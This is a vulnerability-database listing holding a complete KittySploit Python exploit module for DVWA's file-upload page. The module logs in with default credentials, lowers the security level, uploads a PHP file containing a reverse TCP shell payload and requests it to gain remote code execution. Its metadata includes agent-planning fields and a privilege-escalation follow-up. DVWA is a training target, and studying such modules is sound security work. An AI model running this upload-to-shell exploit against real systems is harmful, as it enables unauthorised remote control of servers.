Lucene search
+L

dvwa upload

🗓️ 21 Jan 2026 10:30:13Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Exploit for dvwa upload leading to remote code execution.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from bs4 import BeautifulSoup
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login

class Module(Exploit, Http_client, Http_login):

    __info__ = {
            "name": "dvwa upload",
            "description": "dvwa upload",
            "cve": "",
            "payload": {
                "default": "payloads/singles/cmd/php/reverse_tcp",
                "arch": Arch.PHP,
                "platform": Platform.PHP,
                "category": PayloadCategory.SINGLE,
                },
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires':             {'min_endpoints': 0,
             'min_params': 0,
             'tech_hints_any': [],
             'tech_hints_all': [],
             'specializations_any': [],
             'risk_signals_any': [],
             'auth_session': False,
             'capabilities_any': [],
             'capabilities_all': [],
             'confidence_min': {},
             'confidence_min_any': {},
             'endpoint_pattern_any': [],
             'param_any': [],
             'api_surface_ready': False},
            'chain':             {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
             'consumes_capabilities': [],
             'option_bindings': {},
             'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
        },
        }

    # Prefer web-root; agent overrides to /dvwa when that install is corroborated.
    base_path = OptString("/", "Base path where DVWA is installed (e.g. / or /dvwa)", required=False)
    username = OptString("admin", "DVWA username", required=False)
    password = OptString("password", "DVWA password", required=False)

    def _join_path(self, path):
        base = str(self.base_path or "/").strip() or "/"
        if not base.startswith("/"):
            base = f"/{base}"
        if base != "/" and base.endswith("/"):
            base = base[:-1]
        suffix = path if str(path).startswith("/") else f"/{path}"
        if base == "/":
            return suffix
        return f"{base}{suffix}"

    def get_token(self,source):
        soup = BeautifulSoup(source, "html.parser")
        field = soup.find('input', { "type" : "hidden" })
        if not field:
            return ""
        return field.get('value', '')

    def _login(self):
        login_path = self._join_path("/login.php")
        login = self.http_request(
                method="GET",
                path=login_path,
                session=True
                )
        if not login or not getattr(login, "text", ""):
            return None

        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0)Gecko/20100101 Firefox/60.0', 'Upgrade-Insecure-Requests': '1'}
        data = {
                "username"   : self.username,
                "password"   : self.password,
                "Login"      : "Login",
                "user_token" : self.get_token(login.text)
                }
        r = self.http_request(
                method="POST",
                path=login_path,
                data=data,
                headers=headers,
                session=True
            )
        if not r or 'Login failed' in (r.text or ''):
            self.login_failed()
            return None
        self.login_success()
        return r

    def _set_security_low(self):
        security_path = self._join_path("/security.php")
        page = self.http_request(method="GET", path=security_path, session=True)
        if not page or not getattr(page, "text", ""):
            return False
        token = self.get_token(page.text)
        data = {
            "security": "low",
            "seclev_submit": "Submit",
        }
        if token:
            data["user_token"] = token
        resp = self.http_request(
            method="POST",
            path=security_path,
            data=data,
            session=True,
        )
        return bool(resp)

    def run(self):
        if not self._login():
            return False

        self._set_security_low()
        upload_path = self._join_path("/vulnerabilities/upload/")
        upload_page = self.http_request(method="GET", path=upload_path, session=True)
        if not upload_page or not getattr(upload_page, "text", ""):
            self.not_vulnerable()
            return False

        token = self.get_token(upload_page.text)
        filename = self.random_text(10)+".php"
        print_info(self.payload)
        payload = "<?php "+self.payload+"?>"

        files = {'uploaded':(filename, payload, "multipart/form-data")}
        data = {'MAX_FILE_SIZE':len(payload), 'Upload':'Upload'}
        if token:
            data["user_token"] = token
        pwn = self.http_request(
                method="POST",
                path=upload_path,
                files=files,
                data=data,
                session=True
                )
        if not pwn:
            self.not_vulnerable()
            return False
        if 'succesfully uploaded!' in (pwn.text or ''):
            self.http_request(
                    method="GET",
                    path=self._join_path(f"/hackable/uploads/{filename}")
                    )
            return True
        self.not_vulnerable()
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 12:42Current
5.8Medium risk
Vulners AI Score5.8
2